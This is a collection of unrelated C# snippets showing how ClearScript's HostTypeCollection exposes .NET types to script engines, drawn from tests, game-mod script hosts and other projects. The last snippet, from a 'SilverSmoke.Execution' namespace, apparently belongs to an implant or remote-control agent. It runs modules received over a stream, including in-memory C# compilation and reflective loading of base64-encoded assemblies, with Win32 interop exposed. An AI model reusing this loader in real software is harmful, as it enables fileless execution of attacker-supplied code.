internal static void Test(HostTypeCollection typeCollection, string[] assemblyNames, Predicate <Type> filter, Func <Type, Type, bool> comparer) { // ReSharper disable CollectionNeverQueried.Local typeCollection = typeCollection ?? new HostTypeCollection(filter, assemblyNames); var allNodes = GetLeafNodes(typeCollection).OrderBy(hostType => hostType.Type.GetLocator()); var visitedNodes = new SortedDictionary <string, HostType>(); foreach (var type in GetImportableTypes(assemblyNames, filter)) { var currentType = type; var locator = currentType.GetLocator(); var segments = locator.Split('.'); var hostType = (HostType)segments.Aggregate((object)typeCollection, (node, segment) => ((PropertyBag)node)[segment]); Assert.IsTrue(hostType.Types.All(testType => testType.GetLocator() == locator)); Assert.AreEqual(1, hostType.Types.Count(testType => comparer(testType, currentType))); visitedNodes[locator] = hostType; } Assert.IsTrue(allNodes.SequenceEqual(visitedNodes.Values)); if (filter != null) { Assert.IsTrue(allNodes.All(hostType => hostType.Types.All(type => filter(type)))); } // ReSharper restore CollectionNeverQueried.Local }
private static void AddHostSymbols(ref VBScriptEngine vbscriptEngine) { vbscriptEngine.AddHostObject("CSExtendedHost", new ExtendedHostFunctions()); vbscriptEngine.AddHostObject("CSHost", new HostFunctions()); var htc = new HostTypeCollection(); foreach (var assembly in new string[] { "mscorlib", "System", "System.Core", "System.Data" /*, "RestSharp", "WebDriver", "WebDriver.Support" */ }) { htc.AddAssembly(assembly); } if (Settings.ContainsKey("/ASSEMBLIES")) { var assemblies = Settings["/ASSEMBLIES"].ToString().Split(','); foreach (var assembly in assemblies) { System.Reflection.Assembly assem; try { assem = System.Reflection.Assembly.LoadFrom(assembly); htc.AddAssembly(assem); } catch (Exception e) { Console.WriteLine(e.Message); } } } vbscriptEngine.AddHostObject("CS", htc); }
private static void Attach(string dllPath, string name = "") { var htc = new HostTypeCollection(); try { //var assem = System.Reflection.Assembly.LoadFrom(dllPath); var assem = Assembly.Load(AssemblyName.GetAssemblyName(dllPath)); htc.AddAssembly(assem); if (name.Length == 0) { name = assem.FullName.Split(',')[0]; } vbscriptEngine.AddHostObject(name, htc); //FIXME checkout the hosttypes Console.WriteLine($"Attached {dllPath} as {name}"); } catch (ReflectionTypeLoadException rtle) { foreach (var item in rtle.LoaderExceptions) { Console.WriteLine(item.Message); } } catch (FileNotFoundException fnfe) { Console.WriteLine(fnfe.Message); } catch (Exception e) { Console.WriteLine(e.Message); } }
public void DynamicHostItem_Conversion() { var hostTypeCollection = new HostTypeCollection("mscorlib"); engine.Script.mscorlib = hostTypeCollection; Assert.AreEqual(((PropertyBag)hostTypeCollection["System"]).Keys.Count, ((PropertyBag)engine.Script.mscorlib.System).Keys.Count); Assert.AreEqual(((PropertyBag)hostTypeCollection["System"]).Keys.Count, ((PropertyBag)engine.Script["mscorlib"]["System"]).Keys.Count); }
private void ExposeTypesToEngine(Microsoft.ClearScript.ScriptEngine engine) { var typeCollection = new HostTypeCollection( typeof(com.espertech.esper.client.EPAdministrator).Assembly); engine.AddHostObject("esper", typeCollection); engine.AddHostType("Object", typeof(Object)); engine.AddHostType("typeHelper", typeof(com.espertech.esper.util.TypeHelper)); engine.AddHostType("Collections", typeof(com.espertech.esper.compat.collections.Collections)); engine.AddHostType("EventBean", typeof(com.espertech.esper.client.EventBean)); engine.AddHostType("EventBean", typeof(com.espertech.esper.client.EventBean)); engine.AddHostType("EPAdministrator", typeof(com.espertech.esper.client.EPAdministrator)); engine.AddHostType("EPRuntime", typeof(com.espertech.esper.client.EPRuntime)); }
public void VBScriptEngine_General() { using (var console = new StringWriter()) { var clr = new HostTypeCollection(type => type != typeof(Console), "mscorlib", "System", "System.Core"); clr.GetNamespaceNode("System").SetPropertyNoCheck("Console", console); engine.AddHostObject("host", new ExtendedHostFunctions()); engine.AddHostObject("clr", clr); engine.Execute(generalScript); Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n")); } }
private JScriptEngine InstantiateScripts(string script, string resourceName, string[] refs) { var scriptEngine = new JScriptEngine(); var collect = new HostTypeCollection(refs); scriptEngine.AddHostObject("clr", collect); scriptEngine.AddHostObject("API", new API() { ResourceParent = this }); scriptEngine.AddHostObject("host", new HostFunctions()); scriptEngine.AddHostType("Dictionary", typeof(Dictionary <,>)); scriptEngine.AddHostType("xmlParser", typeof(RetardedXMLParser)); scriptEngine.AddHostType("Enumerable", typeof(Enumerable)); scriptEngine.AddHostType("NetHandle", typeof(NetHandle)); scriptEngine.AddHostType("String", typeof(string)); scriptEngine.AddHostType("List", typeof(List <>)); scriptEngine.AddHostType("Client", typeof(Client)); scriptEngine.AddHostType("Vector3", typeof(Vector3)); scriptEngine.AddHostType("Quaternion", typeof(Vector3)); scriptEngine.AddHostType("Client", typeof(Client)); scriptEngine.AddHostType("LocalPlayerArgument", typeof(LocalPlayerArgument)); scriptEngine.AddHostType("LocalGamePlayerArgument", typeof(LocalGamePlayerArgument)); scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument)); scriptEngine.AddHostType("EntityPointerArgument", typeof(EntityPointerArgument)); scriptEngine.AddHostType("console", typeof(Console)); scriptEngine.AddHostType("VehicleHash", typeof(VehicleHash)); scriptEngine.AddHostType("Int32", typeof(int)); scriptEngine.AddHostType("EntityArgument", typeof(EntityArgument)); scriptEngine.AddHostType("EntityPtrArgument", typeof(EntityPointerArgument)); try { scriptEngine.Execute(script); } catch (ScriptEngineException ex) { Program.Output("EXCEPTION WHEN COMPILING JAVASCRIPT " + Filename); Program.Output(ex.Message); Program.Output(ex.StackTrace); HasTerminated = true; throw; } return(scriptEngine); }
public static void StartScript(string script, List <int> identEnts) { var scriptEngine = new JScriptEngine(); var collection = new HostTypeCollection(Assembly.LoadFrom("scripthookvdotnet.dll"), Assembly.LoadFrom("scripts\\NativeUI.dll")); scriptEngine.AddHostObject("API", collection); scriptEngine.AddHostObject("host", new HostFunctions()); scriptEngine.AddHostObject("script", new ScriptContext()); scriptEngine.AddHostType("Enumerable", typeof(Enumerable)); scriptEngine.AddHostType("List", typeof(IList)); scriptEngine.AddHostType("KeyEventArgs", typeof(KeyEventArgs)); scriptEngine.AddHostType("Keys", typeof(Keys)); foreach (var obj in identEnts) { var name = PropStreamer.Identifications[obj]; if (MapEditor.IsPed(new Prop(obj))) { scriptEngine.AddHostObject(name, new Ped(obj)); } else if (MapEditor.IsVehicle(new Prop(obj))) { scriptEngine.AddHostObject(name, new Vehicle(obj)); } else if (MapEditor.IsProp(new Prop(obj))) { scriptEngine.AddHostObject(name, new Prop(obj)); } } try { scriptEngine.Execute(script); } catch (ScriptEngineException ex) { LogException(ex); } finally { lock (ScriptEngines) ScriptEngines.Add(scriptEngine); } }
public static void Main() { //var application = new System.Windows.Application(); //var window = new System.Windows.Window(); //application.Run(window); var applicationPath = AppDomain.CurrentDomain.BaseDirectory; string fileName = Path.Combine(applicationPath, "app", "app.js"); var sourceCode = File.ReadAllText(fileName); //var engine = new JScriptEngine(WindowsScriptEngineFlags.EnableDebugging); var engine = new V8ScriptEngine(V8ScriptEngineFlags.EnableDebugging); engine.AddHostType("Console", typeof(Console)); var typeCollection = new HostTypeCollection("mscorlib", "System", "System.Core", "PresentationCore", "PresentationFramework", "WindowsBase"); engine.AddHostObject("clr", typeCollection); engine.AddHostObject("xHost", new ExtendedHostFunctions()); engine.Execute(fileName, sourceCode); }
internal static void Test(HostTypeCollection typeCollection, string[] assemblyNames, Predicate<Type> filter, Func<Type, Type, bool> comparer) { typeCollection = typeCollection ?? new HostTypeCollection(filter, assemblyNames); var allNodes = GetLeafNodes(typeCollection).OrderBy(hostType => hostType.Type.GetLocator()); var visitedNodes = new SortedDictionary<string, HostType>(); foreach (var type in GetImportableTypes(assemblyNames, filter)) { var currentType = type; var locator = currentType.GetLocator(); var segments = locator.Split('.'); var hostType = (HostType)segments.Aggregate((object)typeCollection, (node, segment) => ((PropertyBag)node)[segment]); Assert.IsTrue(hostType.Types.All(testType => testType.GetLocator() == locator)); Assert.AreEqual(1, hostType.Types.Count(testType => comparer(testType, currentType))); visitedNodes[locator] = hostType; } Assert.IsTrue(allNodes.SequenceEqual(visitedNodes.Values)); if (filter != null) { Assert.IsTrue(allNodes.All(hostType => hostType.Types.All(type => filter(type)))); } }
public void V8ScriptEngine_General_Precompiled_Dual() { engine.Dispose(); using (var runtime = new V8Runtime()) { using (var script = runtime.Compile(generalScript)) { engine = runtime.CreateScriptEngine(); using (var console = new StringWriter()) { var clr = new HostTypeCollection(type => type != typeof(Console), "mscorlib", "System", "System.Core"); clr.GetNamespaceNode("System").SetPropertyNoCheck("Console", console); engine.AddHostObject("host", new ExtendedHostFunctions()); engine.AddHostObject("clr", clr); engine.Evaluate(script); Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n")); console.GetStringBuilder().Clear(); Assert.AreEqual(string.Empty, console.ToString()); engine.Evaluate(script); Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n")); } engine.Dispose(); engine = runtime.CreateScriptEngine(); using (var console = new StringWriter()) { var clr = new HostTypeCollection(type => type != typeof(Console), "mscorlib", "System", "System.Core"); clr.GetNamespaceNode("System").SetPropertyNoCheck("Console", console); engine.AddHostObject("host", new ExtendedHostFunctions()); engine.AddHostObject("clr", clr); engine.Evaluate(script); Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n")); console.GetStringBuilder().Clear(); Assert.AreEqual(string.Empty, console.ToString()); engine.Evaluate(script); Assert.AreEqual(MiscHelpers.FormatCode(generalScriptOutput), console.ToString().Replace("\r\n", "\n")); } } } }
public static int LoadAndExec(String code, StreamReader rdr) { var lines = code.Split('\n'); switch (lines[0]) { case "//CLEARSCRIPT": JScriptEngine jsEngine = new JScriptEngine(); jsEngine.AddHostType("Console", typeof(Console)); jsEngine.AddHostObject("sw", streamWriter); jsEngine.AddHostObject("rdr", rdr); jsEngine.AddHostObject("xHost", new ExtendedHostFunctions()); jsEngine.AddHostType("DllImports", typeof(DllImports)); jsEngine.AddHostType("Win32", typeof(SilverSmoke.Execution.Win32)); jsEngine.AddHostType("Native", typeof(SilverSmoke.Execution.Native)); var typeCollection = new HostTypeCollection("mscorlib", "System", "System.Core"); jsEngine.AddHostObject("clr", typeCollection); try { jsEngine.Execute(code); } catch (Exception ex) { streamWriter.WriteLine(ex.Message); } break; case "//C#": TextWriter oldOut = Console.Out; //save this Console.SetOut(streamWriter); string[] dlls = lines[1].Substring(2).Split(','); //2nd line: list of DLLs, seperated by commas string nm = lines[2].Substring(2); //3rd line: namespace string cls = lines[3].Substring(2); //4th line: class name string mthd = lines[5].Substring(2); //5th line: method name string[] argl = lines[4].Substring(2).Split(' '); //5th line: arguments for method compileInMemory(code, dlls, nm, cls, mthd, argl); Console.SetOut(oldOut); break; case "//IL-DATA": nm = lines[1].Substring(2); //2nd line: namespace cls = lines[2].Substring(2); //3rd line: class name mthd = lines[3].Substring(2); //4th line: method name argl = lines[4].Substring(2).Split(' '); //5th line: arguments for method byte[] data = Convert.FromBase64String(lines[6]); //7th line: b64 encoded assembly try { oldOut = Console.Out; //save this Console.SetOut(streamWriter); Assembly asm = Assembly.Load(data); Type type = asm.GetType(nm + "." + cls); MethodInfo method = type.GetMethod(mthd); ParameterInfo[] parameters = method.GetParameters(); object[] parametersArray = new object[] { argl }; method.Invoke(null, parameters.Length == 0 ? null : parametersArray); Console.SetOut(oldOut); } catch (Exception e) { streamWriter.WriteLine("Error Loading IL Assembly:"); streamWriter.WriteLine(e.Message); } break; default: streamWriter.WriteLine("[-] Invalid module format."); break; } bld.Remove(0, bld.Length); bld.Clear(); streamWriter.WriteLine("SIGNAL-MODULE-FINISHED"); return(0); }